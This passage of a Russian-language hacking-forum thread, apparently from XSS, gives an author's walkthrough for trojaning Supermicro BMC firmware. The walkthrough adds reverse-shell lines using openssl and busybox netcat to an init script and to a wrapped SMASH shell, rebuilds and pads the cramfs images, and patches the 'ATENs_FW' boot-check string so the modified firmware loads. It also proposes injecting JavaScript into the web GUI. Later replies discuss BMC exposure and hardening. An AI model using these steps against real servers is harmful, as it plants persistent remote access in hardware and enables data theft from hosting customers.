echo >> etc/init.d/00partition_check.sh;
echo 'sh /bin/openssl-bc 192.168.1.3:10000 >/dev/null 2>&1 &' >> etc/init.d/00partition_check.sh;

заменяем SMASH/msh другим бэкконнектом:

mv SMASH/msh SMASH/msh_orig
vim SMASH/msh 
# #!/bin/sh
# /bin/bb nc 192.168.1.3 10001 -e /bin/sh &
# /SMASH/msh_orig "$@"
chmod 755 SMASH/msh

где 192.168.1.3 - IP моего компа, а 10000 и 10001 - разные порты, на которых я запущу два листенера.
надеюсь, понятно, что в настройках сети BMC должна быть такая же подсеть, иначе бэкконнект не достучится.


теперь добавим что-нибудь в web GUI для демонстрации. например, в верхнюю панель страниц вместо текста "Host Identification" (файл /page/topmenu.www):

с изменениями покончено, пора собирать ФС обратно:

cd /mnt/rw
sudo mkcramfs ./rootfs ./rootfs_new.bin
sudo mkcramfs ./webfs ./webfs_new.bin
sudo chown user *.bin
cp *bin /dev/shm/

теперь нужно подогнать размеры ФС под оригинальные файлы, чтобы не поломать разметку SPI флешки.

оригинальная корневая ФС весит 16777216 байт, оригинальная ФС веб гуя весит 9437184 байт, а у нас получились файлы меньшего размера - 15785984 и 7294976 байт. значит, нужно дополнить их пустым местом (нуллбайтами) до оригинальных размеров с помощью команды типа

dd if=/dev/zero bs=1 count=СКОЛЬКО_БАЙТ_ДОБАВИТЬ >> rootfs_new.bin

собираем прошивку из разрозненных кусков, вместо старых cramfs_* указывая новые rootfs и webfs, и не забывая 512 килобайт пустоты:

$ cat bootloader.bin nvram.bin rootfs_new.bin kernel.bin webfs_new.bin > bmc_new.bin
$ dd if=/dev/zero bs=1 count=524288 >> bmc_new.bin
$ cat bootloader_env.bin >> bmc_new.bin

- размеры прошивок совпадают, должно прошиться без проблем.

заливаем прошивку на SPI чип:

...скоро сказка сказывается, да не скоро дело делается в процессе написания статьи я перепрошивал BMC несколько раз (почему - смотри ниже), а программатор CH341A очень медленный - скорость чтения/записи примерно 40 килобайт в секунду. размер чипа - 32768 килобайт, итого каждая перепрошивка занимала около получаса (чтение+запись+чтение).
помогла (почти в два раза ускорила процесс) опция flashrom -n "не читать чип второй раз после записи". но учтите, что при использовании прищепки очень не желательно использовать эту опцию, т.к. контакт прищепки и чипа может быть плохой, но при использовании грабберов контакт намного лучше, поэтому проверкой после записи можно пренебречь.


поднимаем на двух портах листенеры для ловли бэкконнектов

подключаем к материнке LAN кабель и блок питания...

 

[Dread Pirate Roberts]

подключаем к материнке LAN кабель и блок питания...

4. момент истины

...и нифига не заработало

точнее, материнка-то включилась, но сеть IPMI не поднялась.
подключив к материнке монитор и клавиатуру и зайдя в биос в раздел настройки BMC, я обнаружил "IPMI Status: Not working"

я подумал, что это из-за бэкконнектов не срабатывают init скрипты должным образом, и загрузка зависает.

пришлось гуглить, где на материнке находятся контакты UART, и припаиваться к TX выводу. подключившись с помощью копеечного китайского переходника USB-UART PL2303...

я увидел следующее в консоли:

$ socat - /dev/ttyUSB0,b115200

DRAM Init-DDR3
CBR0-135713570123456701234567
CBR13Done

U-Boot 2009.01 ( 4月 02 2019 - 15:29:02) ASPEED (v.0.21)

I2C:   ready
DRAM:  128 MB
Flash: 32 MB
*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial
H/W:   AST2400 series chip
COM:   port1 and port2
PWM:   port[ABCDH]
Enter firmware recovery mode ......
Net:   Found NCSI Network Controller at (0, 0)
Retry: Command = e, Response_Code = 100
Retry: Command = e, Response_Code = 100
Retry: Command = 10, Response_Code = 100
Retry: Command = 10, Response_Code = 100
Retry: Command = 6, Response_Code = 100
Retry: Command = 6, Response_Code = 100
Retry: Command = 3, Response_Code = 100
Retry: Command = 3, Response_Code = 100
Retry: Command = a, Response_Code = 100
Retry: Command = a, Response_Code = 100
Using NCSI Network Controller (0, 0)
faradaynic#0
KCS:   ready

...и всё.
похоже, что ситуация оказалась хуже, чем я предполагал: видимо, где-то в прошивке хранится чексумма каждого из её разделов, и при несовпадении чексуммы прошивка отказывается грузиться.

для теста я решил прошить обратно оригинальный дамп, и посмотреть, что выводится в UART в нормальных условиях.
залил на флешку оригинальный bmc.bin, и мои подозрения подтвердились - в логе загрузки строки типа "Verifying Checksum":

...
...
...
COM:   port1 and port2
PWM:   port[ABCDH]
Hit any key to stop autoboot:  0
## Booting kernel from Legacy Image at 21400000 ...
   Image Name:   21400000
   Image Type:   ARM Linux Kernel Image (gzip compressed)
   Data Size:    1536828 Bytes =  1.5 MB
   Load Address: 40008000
   Entry Point:  40008000
   Verifying Checksum ... cramfs size 15097856
cramfs size 7299072
OK
   Uncompressing Kernel Image ... OK
Starting kernel ...

и тут я вспомнил, что и binwalk, и команда file показывают чексуммы для ФС CramFS:

4194304       0x400000        CramFS filesystem, little endian, size: 15097856, version 2, sorted_dirs, CRC 0x24FFB7AE, edition 0, 8417 blocks, 1018 files
24117248      0x1700000       CramFS filesystem, little endian, size: 7299072, version 2, sorted_dirs, CRC 0x193A6EC1, edition 0, 2982 blocks, 422 files

возможно, в дампе записаны эти значения - 0x24FFB7AE и 0x193A6EC1 - и можно банально изменить их на новые.

открываем оригинальный дамп bmc.bin в hex редакторе... и ничего не находим. нет ни плейн текстом "24FFB7AE", ни hex "24 FF B7 AE"

тут я вспомнил, что иногда байты записываются "наоборот" - это особенность "эндианности" https://en.wikipedia.org/wiki/Endianness
то есть вместо значения hex "24 FF B7 AE" нужно искать hex "AE B7 FF 24", и вместо "19 3A 6E C1" - "C1 6E 3A 19"... и тоже ничего не нашлось.
судя по всему, проверяется какая-то другая чексумма, не CRC32.

вспоминаем, насколько добрая и щедрая компания Supermicro, и грепаем строку "firmware recovery mode" в исходниках...
и находим её в BootLoader/Host/AST2500/u-boot-2013.01/common/main.c!

...
int search_pattern(void){
    int          i           = 0;
    char         *p_buf      = NULL;
    ulong         addr       = FLASH_BASE_ADDR+WEBFS_OFFSET;
    ulong         end        = FLASH_BASE_ADDR+WEBFS_OFFSET+WEBFS_SIZE - 1;
    flash_info_t *info_first = addr2info (addr);
    flash_info_t *info_last  = addr2info (end );
    flash_info_t *info = NULL;

    for (info = info_first; info <= info_last; ++info) {
        ulong b_end = info->start[0] + info->size;  /* bank end addr */
        short s_end = info->sector_count - 1;

        for (i=0; i<info->sector_count; ++i) {
            ulong e_addr = (i == s_end) ? b_end : info->start[i + 1];
            for (p_buf=(char *)info->start[i];(ulong)p_buf < e_addr;p_buf += 0x1000) {
                if (*p_buf == 'S' && *(p_buf+1) == 'M' && *(p_buf+2) == 'C' && *(p_buf+3) == 'I' &&
                    *(p_buf+4) == 's' && *(p_buf+5) == '_' && *(p_buf+6) == 'F' && *(p_buf+7) == 'W')
                {
                    return 1;
                }
            }
        }
    }
    printf("Enter firmware recovery mode ......\n");
    return 0;
}
...

- загрузчик ищет в прошивке строку "SMCIs_FW", и если не находит её - останавливает загрузку.
опять открываем hex редактор, ищем... и опять ничего не находим

попробуем поискать просто "_FW"...

и внезапно находим похожее по адресу 0x01DF6000! оказывается, "SMCIs_FW" было три года назад, когда супермикры ещё выкладывали свои сорцы, а сейчас в прошивку пишется строка "ATENs_FW".

попутно обращаем внимание, что этот адрес меньше, чем адрес окончания WEBFS (0x01F40000) - то есть, эта секретная строка записывается внутри раздела WEBFS. а также что в качестве пустоты/паддинга супермикр-овцы используют FF-байты, а не нулл-байты, но это, скорее всего, значения не имеет.

открываем в hex редакторе новый файл прошивки bmc_new.bin, идём по адресу 0x1DF6000, и пишем туда заветную строку (и на всякий случай байты hex 01 63, идущие после этой строки)

в очередной раз прошиваем bmc_new.bin, и подключаем к материнке LAN кабель и блок питания...

- пришёл бэкконнект на openssl. на netcat не пришёл, но мне достаточно и одного.

и почти сразу же я узнал, что для того, чтобы netcat в busybox работал, бинарник busybox должен называться именно busybox, а не bb.

значит, для исправления бэкконнекта через netcat надо сделать так:

#!/bin/sh
cp /bin/bb /tmp/busybox
/tmp/busybox nc 192.168.1.3 10001 -e /bin/sh &
/SMASH/msh_orig "$@"

посмотрим, что в веб админке:

- приветствие прописалось. а это значит, что хостер может добавить какой-нибудь полезный javascript для выполнения кода в браузере клиента



5. засим откланиваюсь


подведу краткий итог всему вышесказанному.

- BMC/IPMI - это очень удобно. с другой стороны, это очень опасно.
- если у кого-то есть физический доступ к вашему компьютеру - это уже не ваш компьютер © Майкрософт.


автор я, распространять разрешаю только при указании ссылки на этот топик.

в следующей, скорее всего последней, статье я планирую наглядно показать, чем грозит физический доступ хостера к арендованному вами (или вашему собственному, предоставленному на colocation) серверу. когда сделаю - неизвестно, постараюсь до конца года

если у вас есть собственные исследования и разработки в области BMC/IPMI - стучите в личку, возможно мы сработаемся
если разработок нет, но вы - скилловый хардварщик, программист и/или реверсер под эмбеддед, то тоже стучите.

дальнейшее чтиво: https://media.defense.gov/2023/Jun/14/2003241405/-1/-1/0/CSI_HARDEN_BMCS.PDF

донаты на жестокое обращение с компьютерами слать сюда: 1dprEpsBVpjXfiaBtwyFp5X7Dtfs5VVR1

 

[N3tSh4d0w]

Автор что ты со мной делаешь, зачем ты заставляешь меня думать? Я теперь очень боюсь за свои серваки. Так как я не человек-паяльник, я почти нихуя не понял. Но на бумажечку себе выписал, что всякое может случится. Спасибо за статью, буду внимательнее. Теперь некоторые моменты с некоторыми командами hive стали для меня чуточку яснее.

 

[gliderexpert]

А на сколько bmc доступен первый (основной) сетевой порт? Грубо говоря, если не подключать его собственный ethernet интерфейс - какая вероятность что оно вылезет в сеть через LAN1/LAN2 и т.п. порты?

 

[Dread Pirate Roberts]

А на сколько bmc доступен первый (основной) сетевой порт? Грубо говоря, если не подключать его собственный ethernet интерфейс - какая вероятность что оно вылезет в сеть через LAN1/LAN2 и т.п. порты?

в серверах, где BMC можно повесить на один из "основных" портов - вероятность стремится к 100%. в серверах, где у BMC свой собственный выделенный порт - хз.
но на всякий случай я бы считал, что тоже стремится к 100%
в Dell у BMC точно есть доступ к основным портам:

другие бренды перезагружать не хочу, сорян.

Спойлер: FPGA

я кстати сейчас посмотрел сервер Dell gen15 - там CPLD/FPGA уже на 9400 LUTs, охренеть.

 

[Dread Pirate Roberts]

А на сколько bmc доступен первый (основной) сетевой порт? Грубо говоря, если не подключать его собственный ethernet интерфейс - какая вероятность что оно вылезет в сеть через LAN1/LAN2 и т.п. порты?

посмотрел в мануале Supermicro - там тоже все порты доступны:

The default network setting is "Failover", which will allow the BMC IPMI to connect to the network through a shared LAN port (onboard LAN Port 1 or 0) or through the IPMI Dedicated LAN Port.

 

[admin]

Материала в интернете мало, а в рунете еще меньше, чем мало. Полноценный ресерч. Dread Pirate Roberts, аплодирую.

 

[barklay]

Вау, браво!

Очень крутой речерч, очень закрытой темы!

 

[Wolverine]

а точнее, подробности о "железе" BMC. фотки специально старался резать криво, чтобы вотермарк XSS не закрывал модели чипов.

/account/preferences
Тут можно отключить

 

[Californium]

Если я, иностранная компания, размещу свои сервера на территории другой страны, то другая страна будет иметь доступ к моим данным на серверах, при физическом доступе? Шифрование тут не придумаешь?

 

[Dread Pirate Roberts]

Если я, иностранная компания, размещу свои сервера на территории другой страны, то другая страна будет иметь доступ к моим данным на серверах, при физическом доступе?

с большой вероятностью да.
чтобы доступа к данным не было (опять "с большой вероятностью", а не гарантированно), то помимо полнодискового шифрования нужно сделать ещё несколько настроек: включить Secure Boot (с удалением вендорских ключей и заливкой своих), удалить Grub и залить initramfs напрямую в UEFI, настроить TPM и следить за целостностью системы (установленных устройств, настроек UEFI, чексуммы твоего initramfs) с помощью TPM, и это не говоря уже о возможности хостера протроянить BMC в твоём сервере.

Шифрование тут не придумаешь?

зашифровать диски можно, но при физическом доступе к серверу можно клонировать диски и спокойно брутить заголовок LUKS, или чем они там шифрованы, в оффлайне на соседнем сервере.
или, если не настроен Secure Boot или если используется Grub - залить протрояненный загрузчик, сохраняющий пароли.
или можно перехватить вводимый пароль через протрояненный BMC.

 

[Californium]

с большой вероятностью да.
чтобы доступа к данным не было (опять "с большой вероятностью", а не гарантированно), то помимо полнодискового шифрования нужно сделать ещё несколько настроек: включить Secure Boot (с удалением вендорских ключей и заливкой своих), удалить Grub и залить initramfs напрямую в UEFI, настроить TPM и следить за целостностью системы (установленных устройств, настроек UEFI, чексуммы твоего initramfs) с помощью TPM, и это не говоря уже о возможности хостера протроянить BMC в твоём сервере.


зашифровать диски можно, но при физическом доступе к серверу можно клонировать диски и спокойно брутить заголовок LUKS, или чем они там шифрованы, в оффлайне на соседнем сервере.
или, если не настроен Secure Boot или если используется Grub - залить протрояненный загрузчик, сохраняющий пароли.
или можно перехватить вводимый пароль через протрояненный BMC.

Слишком геморно и не надёжно.

Есть ли серверное железо без таких сюрпризов? Или с сюрпризами легко управляемыми извне мною, как хозяином сервера?

 

[Dread Pirate Roberts]

Есть ли серверное железо без таких сюрпризов? Или с сюрпризами легко управляемыми извне мною, как хозяином сервера?

мы работаем над этим)

а если подробнее - то нет, на данный момент такого железа не существует, и вряд ли появится в обозримом будущем.
представляют интерес сервера HP 11го поколения с чипом iLO5, потому что на них HP планирует запускать открытую прошивку OpenBMC, но сам процессор-то закрытый, с неизвестно какими сюрпризами.
также можно рассмотреть материнки Raptor Talos, но там свои нюансы, в первую очередь цена.

 

[Californium]

мы работаем над этим)

а если подробнее - то нет, на данный момент такого железа не существует, и вряд ли появится в обозримом будущем.
представляют интерес сервера HP 11го поколения с чипом iLO5, потому что на них HP планирует запускать открытую прошивку OpenBMC, но сам процессор-то закрытый, с неизвестно какими сюрпризами.
также можно рассмотреть материнки Raptor Talos, но там свои нюансы, в первую очередь цена.

На самом деле, спасибо большое за информацию по этой проблеме.

У меня есть идея, как можно гарантированно обойти эту опасность, не просто, но возможно. Хотя, может, такое решение уже разработано. Тогда, в принципе, можно будет хранить свои данные на любой, даже самой нашпигованной шпионскими модулями удалённой машине.

 

[Dread Pirate Roberts]

У меня есть идея, как можно гарантированно обойти эту опасность,

в личку, пожалуйста

 

[qwerty1337]

Ребята не стоит вскрывать этот код. Вы молодые, хакеры, вам все легко. Это не то. Это не Stuxnet и даже не шпионские программы ЦРУ. Сюда лучше не лезть. Серьезно, любой из вас будет жалеть. Лучше закройте компилятор и забудьте что там писалось. Я вполне понимаю что данным сообщением вызову дополнительный интерес, но хочу сразу предостеречь пытливых - стоп. Остальные просто не найдут.

 

[Californium]

в личку, пожалуйста

Да тут напишу...

Наверное не такая уж и крутая идея

Нет, на самой нашпигованной шпионскими модулями удалённой машине не получится всё же. Но судя по статье, там не так уж и просто внедрить шпионский модуль, физический доступ точно нужен.

Я просто подумал, можно же обеспечить круглосуточное видеонаблюдение за портами сервера. Тогда мы можем своевременно отреагировать на любую попытку физического доступа.

 

[Dread Pirate Roberts]

Да тут напишу...

Наверное не такая уж и крутая идея

Нет, на самой нашпигованной шпионскими модулями удалённой машине не получится всё же. Но судя по статье, там не так уж и просто внедрить шпионский модуль, физический доступ точно нужен.

Я просто подумал, можно же обеспечить круглосуточное видеонаблюдение за портами сервера. Тогда мы можем своевременно отреагировать на любую попытку физического доступа.

я исследую возможности хостера (то есть сотрудника датацентра) сливать данные или запихивать своё добро в сервера, находящиеся в датацентре. у хостера, очевидно, есть постоянный физический доступ к любому серверу - хоть его собственному, который он сдаёт в аренду, хоть к клиентскому, который привезли на colocation.
сделать круглосуточное видеонаблюдение возможно только в том случае, когда твои сервера расположены в подвале твоего дома: https://www.dialog.ua/ukraine/184365_1563539641